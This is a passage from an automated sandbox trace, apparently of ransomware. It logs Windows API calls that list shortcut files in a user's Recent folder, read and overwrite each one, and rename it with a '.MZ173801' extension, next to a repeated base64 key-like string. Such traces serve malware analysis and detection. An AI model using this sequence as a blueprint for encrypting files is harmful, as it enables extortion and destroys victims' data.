HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WLYZZoP9DJKT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wlyzzop9djkt.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WLYZZoP9DJKT.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wlyzzop9djkt.lnk.mz173801")) returned 1 [0122.346] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf349f80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf349f80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf349f80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WpdE.lnk", cAlternateFileName="")) returned 1 [0122.346] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.346] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WpdE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wpde.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf349f80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf349f80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf349f80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x221)) returned 1 [0122.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WpdE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wpde.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.351] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x221, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x221, lpOverlapped=0x0) returned 1 [0122.352] CloseHandle (hObject=0x288) returned 1 [0122.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WpdE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wpde.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.354] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x221, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x221, lpOverlapped=0x0) returned 1 [0122.355] CloseHandle (hObject=0x288) returned 1 [0122.361] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WpdE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wpde.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WpdE.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wpde.lnk.mz173801")) returned 1 [0122.362] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf539160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf539160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf55f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WSc xO6G.lnk", cAlternateFileName="WSCXO6~1.LNK")) returned 1 [0122.362] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.362] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WSc xO6G.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wsc xo6g.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf539160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf539160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf55f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa21)) returned 1 [0122.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WSc xO6G.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wsc xo6g.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.367] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa21, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa21, lpOverlapped=0x0) returned 1 [0122.368] CloseHandle (hObject=0x288) returned 1 [0122.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WSc xO6G.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wsc xo6g.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.377] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa21, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa21, lpOverlapped=0x0) returned 1 [0122.379] CloseHandle (hObject=0x288) returned 1 [0122.385] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WSc xO6G.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wsc xo6g.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WSc xO6G.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wsc xo6g.lnk.mz173801")) returned 1 [0122.387] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde5e63c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde5e63c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde5e63c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x207d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="x1uxAwp3IE.lnk", cAlternateFileName="X1UXAW~1.LNK")) returned 1 [0122.387] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.387] 